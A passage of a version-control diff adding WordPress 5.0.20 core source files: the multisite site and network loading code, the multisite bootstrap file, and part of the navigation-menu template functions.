+	// If the network is defined in wp-config.php, we can simply use that.
+	if ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' ) ) {
+		$current_site = new stdClass;
+		$current_site->id = defined( 'SITE_ID_CURRENT_SITE' ) ? SITE_ID_CURRENT_SITE : 1;
+		$current_site->domain = DOMAIN_CURRENT_SITE;
+		$current_site->path = PATH_CURRENT_SITE;
+		if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) {
+			$current_site->blog_id = BLOG_ID_CURRENT_SITE;
+		} elseif ( defined( 'BLOGID_CURRENT_SITE' ) ) { // deprecated.
+			$current_site->blog_id = BLOGID_CURRENT_SITE;
+		}
+
+		if ( 0 === strcasecmp( $current_site->domain, $domain ) && 0 === strcasecmp( $current_site->path, $path ) ) {
+			$current_blog = get_site_by_path( $domain, $path );
+		} elseif ( '/' !== $current_site->path && 0 === strcasecmp( $current_site->domain, $domain ) && 0 === stripos( $path, $current_site->path ) ) {
+			// If the current network has a path and also matches the domain and path of the request,
+			// we need to look for a site using the first path segment following the network's path.
+			$current_blog = get_site_by_path( $domain, $path, 1 + count( explode( '/', trim( $current_site->path, '/' ) ) ) );
+		} else {
+			// Otherwise, use the first path segment (as usual).
+			$current_blog = get_site_by_path( $domain, $path, 1 );
+		}
+
+	} elseif ( ! $subdomain ) {
+		/*
+		 * A "subdomain" installation can be re-interpreted to mean "can support any domain".
+		 * If we're not dealing with one of these installations, then the important part is determining
+		 * the network first, because we need the network's path to identify any sites.
+		 */
+		if ( ! $current_site = wp_cache_get( 'current_network', 'site-options' ) ) {
+			// Are there even two networks installed?
+			$networks = get_networks( array( 'number' => 2 ) );
+			if ( count( $networks ) === 1 ) {
+				$current_site = array_shift( $networks );
+				wp_cache_add( 'current_network', $current_site, 'site-options' );
+			} elseif ( empty( $networks ) ) {
+				// A network not found hook should fire here.
+				return false;
+			}
+		}
+
+		if ( empty( $current_site ) ) {
+			$current_site = WP_Network::get_by_path( $domain, $path, 1 );
+		}
+
+		if ( empty( $current_site ) ) {
+			/**
+			 * Fires when a network cannot be found based on the requested domain and path.
+			 *
+			 * At the time of this action, the only recourse is to redirect somewhere
+			 * and exit. If you want to declare a particular network, do so earlier.
+			 *
+			 * @since 4.4.0
+			 *
+			 * @param string $domain       The domain used to search for a network.
+			 * @param string $path         The path used to search for a path.
+			 */
+			do_action( 'ms_network_not_found', $domain, $path );
+
+			return false;
+		} elseif ( $path === $current_site->path ) {
+			$current_blog = get_site_by_path( $domain, $path );
+		} else {
+			// Search the network path + one more path segment (on top of the network path).
+			$current_blog = get_site_by_path( $domain, $path, substr_count( $current_site->path, '/' ) );
+		}
+	} else {
+		// Find the site by the domain and at most the first path segment.
+		$current_blog = get_site_by_path( $domain, $path, 1 );
+		if ( $current_blog ) {
+			$current_site = WP_Network::get_instance( $current_blog->site_id ? $current_blog->site_id : 1 );
+		} else {
+			// If you don't have a site with the same domain/path as a network, you're pretty screwed, but:
+			$current_site = WP_Network::get_by_path( $domain, $path, 1 );
+		}
+	}
+
+	// The network declared by the site trumps any constants.
+	if ( $current_blog && $current_blog->site_id != $current_site->id ) {
+		$current_site = WP_Network::get_instance( $current_blog->site_id );
+	}
+
+	// No network has been found, bail.
+	if ( empty( $current_site ) ) {
+		/** This action is documented in wp-includes/ms-settings.php */
+		do_action( 'ms_network_not_found', $domain, $path );
+
+		return false;
+	}
+
+	// During activation of a new subdomain, the requested site does not yet exist.
+	if ( empty( $current_blog ) && wp_installing() ) {
+		$current_blog = new stdClass;
+		$current_blog->blog_id = $blog_id = 1;
+		$current_blog->public = 1;
+	}
+
+	// No site has been found, bail.
+	if ( empty( $current_blog ) ) {
+		// We're going to redirect to the network URL, with some possible modifications.
+		$scheme = is_ssl() ? 'https' : 'http';
+		$destination = "$scheme://{$current_site->domain}{$current_site->path}";
+
+		/**
+		 * Fires when a network can be determined but a site cannot.
+		 *
+		 * At the time of this action, the only recourse is to redirect somewhere
+		 * and exit. If you want to declare a particular site, do so earlier.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param object $current_site The network that had been determined.
+		 * @param string $domain       The domain used to search for a site.
+		 * @param string $path         The path used to search for a site.
+		 */
+		do_action( 'ms_site_not_found', $current_site, $domain, $path );
+
+		if ( $subdomain && ! defined( 'NOBLOGREDIRECT' ) ) {
+			// For a "subdomain" installation, redirect to the signup form specifically.
+			$destination .= 'wp-signup.php?new=' . str_replace( '.' . $current_site->domain, '', $domain );
+		} elseif ( $subdomain ) {
+			// For a "subdomain" installation, the NOBLOGREDIRECT constant
+			// can be used to avoid a redirect to the signup form.
+			// Using the ms_site_not_found action is preferred to the constant.
+			if ( '%siteurl%' !== NOBLOGREDIRECT ) {
+				$destination = NOBLOGREDIRECT;
+			}
+		} elseif ( 0 === strcasecmp( $current_site->domain, $domain ) ) {
+			/*
+			 * If the domain we were searching for matches the network's domain,
+			 * it's no use redirecting back to ourselves -- it'll cause a loop.
+			 * As we couldn't find a site, we're simply not installed.
+			 */
+			return false;
+		}
+
+		return $destination;
+	}
+
+	// Figure out the current network's main site.
+	if ( empty( $current_site->blog_id ) ) {
+		$current_site->blog_id = get_main_site_id( $current_site->id );
+	}
+
+	return true;
+}
+
+/**
+ * Displays a failure message.
+ *
+ * Used when a blog's tables do not exist. Checks for a missing $wpdb->site table as well.
+ *
+ * @access private
+ * @since 3.0.0
+ * @since 4.4.0 The `$domain` and `$path` parameters were added.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $domain The requested domain for the error to reference.
+ * @param string $path   The requested path for the error to reference.
+ */
+function ms_not_installed( $domain, $path ) {
+	global $wpdb;
+
+	if ( ! is_admin() ) {
+		dead_db();
+	}
+
+	wp_load_translations_early();
+
+	$title = __( 'Error establishing a database connection' );
+
+	$msg  = '<h1>' . $title . '</h1>';
+	$msg .= '<p>' . __( 'If your site does not display, please contact the owner of this network.' ) . '';
+	$msg .= ' ' . __( 'If you are the owner of this network please check that MySQL is running properly and all tables are error free.' ) . '</p>';
+	$query = $wpdb->prepare( "SHOW TABLES LIKE %s", $wpdb->esc_like( $wpdb->site ) );
+	if ( ! $wpdb->get_var( $query ) ) {
+		$msg .= '<p>' . sprintf(
+			/* translators: %s: table name */
+			__( '<strong>Database tables are missing.</strong> This means that MySQL is not running, WordPress was not installed properly, or someone deleted %s. You really should look at your database now.' ),
+			'<code>' . $wpdb->site . '</code>'
+		) . '</p>';
+	} else {
+		$msg .= '<p>' . sprintf(
+			/* translators: 1: site url, 2: table name, 3: database name */
+			__( '<strong>Could not find site %1$s.</strong> Searched for table %2$s in database %3$s. Is that right?' ),
+			'<code>' . rtrim( $domain . $path, '/' ) . '</code>',
+			'<code>' . $wpdb->blogs . '</code>',
+			'<code>' . DB_NAME . '</code>'
+		) . '</p>';
+	}
+	$msg .= '<p><strong>' . __( 'What do I do now?' ) . '</strong> ';
+	/* translators: %s: Codex URL */
+	$msg .= sprintf( __( 'Read the <a href="%s" target="_blank">bug report</a> page. Some of the guidelines there may help you figure out what went wrong.' ),
+		__( 'https://codex.wordpress.org/Debugging_a_WordPress_Network' )
+	);
+	$msg .= ' ' . __( 'If you&#8217;re still stuck with this message, then check that your database contains the following tables:' ) . '</p><ul>';
+	foreach ( $wpdb->tables('global') as $t => $table ) {
+		if ( 'sitecategories' == $t )
+			continue;
+		$msg .= '<li>' . $table . '</li>';
+	}
+	$msg .= '</ul>';
+
+	wp_die( $msg, $title, array( 'response' => 500 ) );
+}
+
+/**
+ * This deprecated function formerly set the site_name property of the $current_site object.
+ *
+ * This function simply returns the object, as before.
+ * The bootstrap takes care of setting site_name.
+ *
+ * @access private
+ * @since 3.0.0
+ * @deprecated 3.9.0 Use get_current_site() instead.
+ *
+ * @param object $current_site
+ * @return object
+ */
+function get_current_site_name( $current_site ) {
+	_deprecated_function( __FUNCTION__, '3.9.0', 'get_current_site()' );
+	return $current_site;
+}
+
+/**
+ * This deprecated function managed much of the site and network loading in multisite.
+ *
+ * The current bootstrap code is now responsible for parsing the site and network load as
+ * well as setting the global $current_site object.
+ *
+ * @access private
+ * @since 3.0.0
+ * @deprecated 3.9.0
+ *
+ * @global object $current_site
+ *
+ * @return object
+ */
+function wpmu_current_site() {
+	global $current_site;
+	_deprecated_function( __FUNCTION__, '3.9.0' );
+	return $current_site;
+}
+
+/**
+ * Retrieve an object containing information about the requested network.
+ *
+ * @since 3.9.0
+ * @deprecated 4.7.0 Use `get_network()`
+ * @see get_network()
+ *
+ * @internal In 4.6.0, converted to use get_network()
+ *
+ * @param object|int $network The network's database row or ID.
+ * @return WP_Network|false Object containing network information if found, false if not.
+ */
+function wp_get_network( $network ) {
+	_deprecated_function( __FUNCTION__, '4.7.0', 'get_network()' );
+
+	$network = get_network( $network );
+	if ( null === $network ) {
+		return false;
+	}
+
+	return $network;
+}
Index: /tags/5.0.20/src/wp-includes/ms-settings.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ms-settings.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ms-settings.php	(revision 56912)
@@ -0,0 +1,123 @@
+<?php
+/**
+ * Used to set up and fix common variables and include
+ * the Multisite procedural and class library.
+ *
+ * Allows for some configuration in wp-config.php (see ms-default-constants.php)
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/**
+ * Objects representing the current network and current site.
+ *
+ * These may be populated through a custom `sunrise.php`. If not, then this
+ * file will attempt to populate them based on the current request.
+ *
+ * @global WP_Network $current_site The current network.
+ * @global object     $current_blog The current site.
+ * @global string     $domain       Deprecated. The domain of the site found on load.
+ *                                  Use `get_site()->domain` instead.
+ * @global string     $path         Deprecated. The path of the site found on load.
+ *                                  Use `get_site()->path` instead.
+ * @global int        $site_id      Deprecated. The ID of the network found on load.
+ *                                  Use `get_current_network_id()` instead.
+ * @global bool       $public       Deprecated. Whether the site found on load is public.
+ *                                  Use `get_site()->public` instead.
+ *
+ * @since 3.0.0
+ */
+global $current_site, $current_blog, $domain, $path, $site_id, $public;
+
+/** WP_Network class */
+require_once( ABSPATH . WPINC . '/class-wp-network.php' );
+
+/** WP_Site class */
+require_once( ABSPATH . WPINC . '/class-wp-site.php' );
+
+/** Multisite loader */
+require_once( ABSPATH . WPINC . '/ms-load.php' );
+
+/** Default Multisite constants */
+require_once( ABSPATH . WPINC . '/ms-default-constants.php' );
+
+if ( defined( 'SUNRISE' ) ) {
+	include_once( WP_CONTENT_DIR . '/sunrise.php' );
+}
+
+/** Check for and define SUBDOMAIN_INSTALL and the deprecated VHOST constant. */
+ms_subdomain_constants();
+
+// This block will process a request if the current network or current site objects
+// have not been populated in the global scope through something like `sunrise.php`.
+if ( !isset( $current_site ) || !isset( $current_blog ) ) {
+
+	$domain = strtolower( stripslashes( $_SERVER['HTTP_HOST'] ) );
+	if ( substr( $domain, -3 ) == ':80' ) {
+		$domain = substr( $domain, 0, -3 );
+		$_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -3 );
+	} elseif ( substr( $domain, -4 ) == ':443' ) {
+		$domain = substr( $domain, 0, -4 );
+		$_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -4 );
+	}
+
+	$path = stripslashes( $_SERVER['REQUEST_URI'] );
+	if ( is_admin() ) {
+		$path = preg_replace( '#(.*)/wp-admin/.*#', '$1/', $path );
+	}
+	list( $path ) = explode( '?', $path );
+
+	$bootstrap_result = ms_load_current_site_and_network( $domain, $path, is_subdomain_install() );
+
+	if ( true === $bootstrap_result ) {
+		// `$current_blog` and `$current_site are now populated.
+	} elseif ( false === $bootstrap_result ) {
+		ms_not_installed( $domain, $path );
+	} else {
+		header( 'Location: ' . $bootstrap_result );
+		exit;
+	}
+	unset( $bootstrap_result );
+
+	$blog_id = $current_blog->blog_id;
+	$public  = $current_blog->public;
+
+	if ( empty( $current_blog->site_id ) ) {
+		// This dates to [MU134] and shouldn't be relevant anymore,
+		// but it could be possible for arguments passed to insert_blog() etc.
+		$current_blog->site_id = 1;
+	}
+
+	$site_id = $current_blog->site_id;
+	wp_load_core_site_options( $site_id );
+}
+
+$wpdb->set_prefix( $table_prefix, false ); // $table_prefix can be set in sunrise.php
+$wpdb->set_blog_id( $current_blog->blog_id, $current_blog->site_id );
+$table_prefix = $wpdb->get_blog_prefix();
+$_wp_switched_stack = array();
+$switched = false;
+
+// need to init cache again after blog_id is set
+wp_start_object_cache();
+
+if ( ! $current_site instanceof WP_Network ) {
+	$current_site = new WP_Network( $current_site );
+}
+
+if ( ! $current_blog instanceof WP_Site ) {
+	$current_blog = new WP_Site( $current_blog );
+}
+
+// Define upload directory constants
+ms_upload_constants();
+
+/**
+ * Fires after the current site and network have been detected and loaded
+ * in multisite's bootstrap.
+ *
+ * @since 4.6.0
+ */
+do_action( 'ms_loaded' );
Index: /tags/5.0.20/src/wp-includes/nav-menu-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/nav-menu-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/nav-menu-template.php	(revision 56912)
@@ -0,0 +1,552 @@
+<?php
+/**
+ * Nav Menu API: Template functions
+ *
+ * @package WordPress
+ * @subpackage Nav_Menus
+ * @since 3.0.0
+ */
+
+/** Walker_Nav_Menu class */
+require_once ABSPATH . WPINC . '/class-walker-nav-menu.php';
+
+/**
+ * Displays a navigation menu.
+ *
+ * @since 3.0.0
+ * @since 4.7.0 Added the `item_spacing` argument.
+ *
+ * @staticvar array $menu_id_slugs
+ *
+ * @param array $args {
+ *     Optional. Array of nav menu arguments.
+ *
+ *     @type int|string|WP_Term $menu            Desired menu. Accepts a menu ID, slug, name, or object. Default empty.
+ *     @type string             $menu_class      CSS class to use for the ul element which forms the menu. Default 'menu'.
+ *     @type string             $menu_id         The ID that is applied to the ul element which forms the menu.
+ *                                               Default is the menu slug, incremented.
+ *     @type string             $container       Whether to wrap the ul, and what to wrap it with. Default 'div'.
+ *     @type string             $container_class Class that is applied to the container. Default 'menu-{menu slug}-container'.
+ *     @type string             $container_id    The ID that is applied to the container. Default empty.
+ *     @type callable|bool      $fallback_cb     If the menu doesn't exists, a callback function will fire.
+ *                                               Default is 'wp_page_menu'. Set to false for no fallback.
+ *     @type string             $before          Text before the link markup. Default empty.
+ *     @type string             $after           Text after the link markup. Default empty.
+ *     @type string             $link_before     Text before the link text. Default empty.
+ *     @type string             $link_after      Text after the link text. Default empty.
+ *     @type bool               $echo            Whether to echo the menu or return it. Default true.
+ *     @type int                $depth           How many levels of the hierarchy are to be included. 0 means all. Default 0.
+ *     @type object             $walker          Instance of a custom walker class. Default empty.
+ *     @type string             $theme_location  Theme location to be used. Must be registered with register_nav_menu()
+ *                                               in order to be selectable by the user.
+ *     @type string             $items_wrap      How the list items should be wrapped. Default is a ul with an id and class.
+ *                                               Uses printf() format with numbered placeholders.
+ *     @type string             $item_spacing    Whether to preserve whitespace within the menu's HTML. Accepts 'preserve' or 'discard'. Default 'preserve'.
+ * }
+ * @return string|false|void Menu output if $echo is false, false if there are no items or no menu was found.
+ */
+function wp_nav_menu( $args = array() ) {
+	static $menu_id_slugs = array();
+
+	$defaults = array( 'menu' => '', 'container' => 'div', 'container_class' => '', 'container_id' => '', 'menu_class' => 'menu', 'menu_id' => '',
+	'echo' => true, 'fallback_cb' => 'wp_page_menu', 'before' => '', 'after' => '', 'link_before' => '', 'link_after' => '', 'items_wrap' => '<ul id="%1$s" class="%2$s">%3$s</ul>', 'item_spacing' => 'preserve',
+	'depth' => 0, 'walker' => '', 'theme_location' => '' );
+
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( ! in_array( $args['item_spacing'], array( 'preserve', 'discard' ), true ) ) {
+		// invalid value, fall back to default.
+		$args['item_spacing'] = $defaults['item_spacing'];
+	}
+
+	/**
+	 * Filters the arguments used to display a navigation menu.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param array $args Array of wp_nav_menu() arguments.
+	 */
+	$args = apply_filters( 'wp_nav_menu_args', $args );
+	$args = (object) $args;
+
+	/**
+	 * Filters whether to short-circuit the wp_nav_menu() output.
+	 *
+	 * Returning a non-null value to the filter will short-circuit
+	 * wp_nav_menu(), echoing that value if $args->echo is true,
+	 * returning that value otherwise.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param string|null $output Nav menu output to short-circuit with. Default null.
+	 * @param stdClass    $args   An object containing wp_nav_menu() arguments.
+	 */
+	$nav_menu = apply_filters( 'pre_wp_nav_menu', null, $args );
+
+	if ( null !== $nav_menu ) {
+		if ( $args->echo ) {
+			echo $nav_menu;
+			return;
+		}
+
+		return $nav_menu;
+	}
+
+	// Get the nav menu based on the requested menu
+	$menu = wp_get_nav_menu_object( $args->menu );
+
+	// Get the nav menu based on the theme_location
+	if ( ! $menu && $args->theme_location && ( $locations = get_nav_menu_locations() ) && isset( $locations[ $args->theme_location ] ) )
+		$menu = wp_get_nav_menu_object( $locations[ $args->theme_location ] );
+
+	// get the first menu that has items if we still can't find a menu
+	if ( ! $menu && !$args->theme_location ) {
+		$menus = wp_get_nav_menus();
+		foreach ( $menus as $menu_maybe ) {
+			if ( $menu_items = wp_get_nav_menu_items( $menu_maybe->term_id, array( 'update_post_term_cache' => false ) ) ) {
+				$menu = $menu_maybe;
+				break;
+			}
+		}
+	}
+
+	if ( empty( $args->menu ) ) {
+		$args->menu = $menu;
+	}
+
+	// If the menu exists, get its items.
+	if ( $menu && ! is_wp_error($menu) && !isset($menu_items) )
+		$menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) );
+
+	/*
+	 * If no menu was found:
+	 *  - Fall back (if one was specified), or bail.
+	 *
+	 * If no menu items were found:
+	 *  - Fall back, but only if no theme location was specified.
+	 *  - Otherwise, bail.
+	 */
+	if ( ( !$menu || is_wp_error($menu) || ( isset($menu_items) && empty($menu_items) && !$args->theme_location ) )
+		&& isset( $args->fallback_cb ) && $args->fallback_cb && is_callable( $args->fallback_cb ) )
+			return call_user_func( $args->fallback_cb, (array) $args );
+
+	if ( ! $menu || is_wp_error( $menu ) )
+		return false;
+
+	$nav_menu = $items = '';
+
+	$show_container = false;
+	if ( $args->container ) {
+		/**
+		 * Filters the list of HTML tags that are valid for use as menu containers.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $tags The acceptable HTML tags for use as menu containers.
+		 *                    Default is array containing 'div' and 'nav'.
+		 */
+		$allowed_tags = apply_filters( 'wp_nav_menu_container_allowedtags', array( 'div', 'nav' ) );
+		if ( is_string( $args->container ) && in_array( $args->container, $allowed_tags ) ) {
+			$show_container = true;
+			$class = $args->container_class ? ' class="' . esc_attr( $args->container_class ) . '"' : ' class="menu-'. $menu->slug .'-container"';
+			$id = $args->container_id ? ' id="' . esc_attr( $args->container_id ) . '"' : '';
+			$nav_menu .= '<'. $args->container . $id . $class . '>';
+		}
+	}
+
+	// Set up the $menu_item variables
+	_wp_menu_item_classes_by_context( $menu_items );
+
+	$sorted_menu_items = $menu_items_with_children = array();
+	foreach ( (array) $menu_items as $menu_item ) {
+		$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
+		if ( $menu_item->menu_item_parent )
+			$menu_items_with_children[ $menu_item->menu_item_parent ] = true;
+	}
+
+	// Add the menu-item-has-children class where applicable
+	if ( $menu_items_with_children ) {
+		foreach ( $sorted_menu_items as &$menu_item ) {
+			if ( isset( $menu_items_with_children[ $menu_item->ID ] ) )
+				$menu_item->classes[] = 'menu-item-has-children';
+		}
+	}
+
+	unset( $menu_items, $menu_item );
+
+	/**
+	 * Filters the sorted list of menu item objects before generating the menu's HTML.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param array    $sorted_menu_items The menu items, sorted by each menu item's menu order.
+	 * @param stdClass $args              An object containing wp_nav_menu() arguments.
+	 */
+	$sorted_menu_items = apply_filters( 'wp_nav_menu_objects', $sorted_menu_items, $args );
+
+	$items .= walk_nav_menu_tree( $sorted_menu_items, $args->depth, $args );
+	unset($sorted_menu_items);
+
+	// Attributes
+	if ( ! empty( $args->menu_id ) ) {
+		$wrap_id = $args->menu_id;
+	} else {
+		$wrap_id = 'menu-' . $menu->slug;
+		while ( in_array( $wrap_id, $menu_id_slugs ) ) {
+			if ( preg_match( '#-(\d+)$#', $wrap_id, $matches ) )
+				$wrap_id = preg_replace('#-(\d+)$#', '-' . ++$matches[1], $wrap_id );
+			else
+				$wrap_id = $wrap_id . '-1';
+		}
+	}
+	$menu_id_slugs[] = $wrap_id;
+
+	$wrap_class = $args->menu_class ? $args->menu_class : '';
+
+	/**
+	 * Filters the HTML list content for navigation menus.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param string   $items The HTML list content for the menu items.
+	 * @param stdClass $args  An object containing wp_nav_menu() arguments.
+	 */
+	$items = apply_filters( 'wp_nav_menu_items', $items, $args );
+	/**
+	 * Filters the HTML list content for a specific navigation menu.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param string   $items The HTML list content for the menu items.
+	 * @param stdClass $args  An object containing wp_nav_menu() arguments.
+	 */
+	$items = apply_filters( "wp_nav_menu_{$menu->slug}_items", $items, $args );
+
+	// Don't print any markup if there are no items at this point.
+	if ( empty( $items ) )
+		return false;
+
+	$nav_menu .= sprintf( $args->items_wrap, esc_attr( $wrap_id ), esc_attr( $wrap_class ), $items );
+	unset( $items );
+
+	if ( $show_container )
+		$nav_menu .= '</' . $args->container . '>';
+
+	/**
+	 * Filters the HTML content for navigation menus.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param string   $nav_menu The HTML content for the navigation menu.
+	 * @param stdClass $args     An object containing wp_nav_menu() arguments.
+	 */
+	$nav_menu = apply_filters( 'wp_nav_menu', $nav_menu, $args );
+
+	if ( $args->echo )
+		echo $nav_menu;
+	else
+		return $nav_menu;
+}
+
+/**
+ * Add the class property classes for the current context, if applicable.
+ *
+ * @access private
+ * @since 3.0.0
+ *
+ * @global WP_Query   $wp_query
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param array $menu_items The current menu item objects to which to add the class property information.
+ */
+function _wp_menu_item_classes_by_context( &$menu_items ) {
+	global $wp_query, $wp_rewrite;
+
+	$queried_object = $wp_query->get_queried_object();
+	$queried_object_id = (int) $wp_query->queried_object_id;
+
+	$active_object = '';
+	$active_ancestor_item_ids = array();
+	$active_parent_item_ids = array();
+	$active_parent_object_ids = array();
+	$possible_taxonomy_ancestors = array();
+	$possible_object_parents = array();
+	$home_page_id = (int) get_option( 'page_for_posts' );
+
+	if ( $wp_query->is_singular && ! empty( $queried_object->post_type ) && ! is_post_type_hierarchical( $queried_object->post_type ) ) {
+		foreach ( (array) get_object_taxonomies( $queried_object->post_type ) as $taxonomy ) {
+			if ( is_taxonomy_hierarchical( $taxonomy ) ) {
+				$term_hierarchy = _get_term_hierarchy( $taxonomy );
+				$terms = wp_get_object_terms( $queried_object_id, $taxonomy, array( 'fields' => 'ids' ) );
+				if ( is_array( $terms ) ) {
+					$possible_object_parents = array_merge( $possible_object_parents, $terms );
+					$term_to_ancestor = array();
+					foreach ( (array) $term_hierarchy as $anc => $descs ) {
+						foreach ( (array) $descs as $desc )
+							$term_to_ancestor[ $desc ] = $anc;
+					}
+
+					foreach ( $terms as $desc ) {
+						do {
+							$possible_taxonomy_ancestors[ $taxonomy ][] = $desc;
+							if ( isset( $term_to_ancestor[ $desc ] ) ) {
+								$_desc = $term_to_ancestor[ $desc ];
+								unset( $term_to_ancestor[ $desc ] );
+								$desc = $_desc;
+							} else {
+								$desc = 0;
+							}
+						} while ( ! empty( $desc ) );
+					}
+				}
+			}
+		}
+	} elseif ( ! empty( $queried_object->taxonomy ) && is_taxonomy_hierarchical( $queried_object->taxonomy ) ) {
+		$term_hierarchy = _get_term_hierarchy( $queried_object->taxonomy );
+		$term_to_ancestor = array();
+		foreach ( (array) $term_hierarchy as $anc => $descs ) {
+			foreach ( (array) $descs as $desc )
+				$term_to_ancestor[ $desc ] = $anc;
+		}
+		$desc = $queried_object->term_id;
+		do {
+			$possible_taxonomy_ancestors[ $queried_object->taxonomy ][] = $desc;
+			if ( isset( $term_to_ancestor[ $desc ] ) ) {
+				$_desc = $term_to_ancestor[ $desc ];
+				unset( $term_to_ancestor[ $desc ] );
+				$desc = $_desc;
+			} else {
+				$desc = 0;
+			}
+		} while ( ! empty( $desc ) );
+	}
+
+	$possible_object_parents = array_filter( $possible_object_parents );
+
+	$front_page_url = home_url();
+	$front_page_id  = (int) get_option( 'page_on_front' );
+
+	foreach ( (array) $menu_items as $key => $menu_item ) {
+
+		$menu_items[$key]->current = false;
+
+		$classes = (array) $menu_item->classes;
+		$classes[] = 'menu-item';
+		$classes[] = 'menu-item-type-' . $menu_item->type;
+		$classes[] = 'menu-item-object-' . $menu_item->object;
+
+		// This menu item is set as the 'Front Page'.
+		if ( 'post_type' === $menu_item->type && $front_page_id === (int) $menu_item->object_id ) {
+			$classes[] = 'menu-item-home';
+		}
+
+		// if the menu item corresponds to a taxonomy term for the currently-queried non-hierarchical post object
+		if ( $wp_query->is_singular && 'taxonomy' == $menu_item->type && in_array( $menu_item->object_id, $possible_object_parents ) ) {
+			$active_parent_object_ids[] = (int) $menu_item->object_id;
+			$active_parent_item_ids[] = (int) $menu_item->db_id;
+			$active_object = $queried_object->post_type;
+
+		// if the menu item corresponds to the currently-queried post or taxonomy object
+		} elseif (
+			$menu_item->object_id == $queried_object_id &&
+			(
+				( ! empty( $home_page_id ) && 'post_type' == $menu_item->type && $wp_query->is_home && $home_page_id == $menu_item->object_id ) ||
+				( 'post_type' == $menu_item->type && $wp_query->is_singular ) ||
+				( 'taxonomy' == $menu_item->type && ( $wp_query->is_category || $wp_query->is_tag || $wp_query->is_tax ) && $queried_object->taxonomy == $menu_item->object )
+			)
+		) {
+			$classes[] = 'current-menu-item';
+			$menu_items[$key]->current = true;
+			$_anc_id = (int) $menu_item->db_id;
+
+			while(
+				( $_anc_id = get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) &&
+				! in_array( $_anc_id, $active_ancestor_item_ids )
+			) {
+				$active_ancestor_item_ids[] = $_anc_id;
+			}
+
+			if ( 'post_type' == $menu_item->type && 'page' == $menu_item->object ) {
+				// Back compat classes for pages to match wp_page_menu()
+				$classes[] = 'page_item';
+				$classes[] = 'page-item-' . $menu_item->object_id;
+				$classes[] = 'current_page_item';
+			}
+
+			$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;
+			$active_parent_object_ids[] = (int) $menu_item->post_parent;
+			$active_object = $menu_item->object;
+
+		// if the menu item corresponds to the currently-queried post type archive
+		} elseif (
+			'post_type_archive' == $menu_item->type &&
+			is_post_type_archive( array( $menu_item->object ) )
+		) {
+			$classes[] = 'current-menu-item';
+			$menu_items[$key]->current = true;
+			$_anc_id = (int) $menu_item->db_id;
+
+			while(
+				( $_anc_id = get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) &&
+				! in_array( $_anc_id, $active_ancestor_item_ids )
+			) {
+				$active_ancestor_item_ids[] = $_anc_id;
+			}
+
+			$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;
+
+		// if the menu item corresponds to the currently-requested URL
+		} elseif ( 'custom' == $menu_item->object && isset( $_SERVER['HTTP_HOST'] ) ) {
+			$_root_relative_current = untrailingslashit( $_SERVER['REQUEST_URI'] );
+
+			//if it is the customize page then it will strips the query var off the url before entering the comparison block.
+			if ( is_customize_preview() ) {
+				$_root_relative_current = strtok( untrailingslashit( $_SERVER['REQUEST_URI'] ), '?' );
+			}
+			$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_root_relative_current );
+			$raw_item_url = strpos( $menu_item->url, '#' ) ? substr( $menu_item->url, 0, strpos( $menu_item->url, '#' ) ) : $menu_item->url;
+			$item_url = set_url_scheme( untrailingslashit( $raw_item_url ) );
+			$_indexless_current = untrailingslashit( preg_replace( '/' . preg_quote( $wp_rewrite->index, '/' ) . '$/', '', $current_url ) );
+
+			if ( $raw_item_url && in_array( $item_url, array( $current_url, $_indexless_current, $_root_relative_current ) ) ) {
+				$classes[] = 'current-menu-item';
+				$menu_items[$key]->current = true;
+				$_anc_id = (int) $menu_item->db_id;
+
+				while(
+					( $_anc_id = get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) &&
+					! in_array( $_anc_id, $active_ancestor_item_ids )
+				) {
+					$active_ancestor_item_ids[] = $_anc_id;
+				}
+
+				if ( in_array( home_url(), array( untrailingslashit( $current_url ), untrailingslashit( $_indexless_current ) ) ) ) {
+					// Back compat for home link to match wp_page_menu()
+					$classes[] = 'current_page_item';
+				}
+				$active_parent_item_ids[] = (int) $menu_item->menu_item_parent;
+				$active_parent_object_ids[] = (int) $menu_item->post_parent;
+				$active_object = $menu_item->object;
+
+			// give front page item current-menu-item class when extra query arguments involved
+			} elseif ( $item_url == $front_page_url && is_front_page() ) {
+				$classes[] = 'current-menu-item';
+			}
+
+			if ( untrailingslashit($item_url) == home_url() )
+				$classes[] = 'menu-item-home';
+		}
+
+		// back-compat with wp_page_menu: add "current_page_parent" to static home page link for any non-page query
+		if ( ! empty( $home_page_id ) && 'post_type' == $menu_item->type && empty( $wp_query->is_page ) && $home_page_id == $menu_item->object_id )
+			$classes[] = 'current_page_parent';
+
+		$menu_items[$key]->classes = array_unique( $classes );
+	}
+	$active_ancestor_item_ids = array_filter( array_unique( $active_ancestor_item_ids ) );
+	$active_parent_item_ids = array_filter( array_unique( $active_parent_item_ids ) );
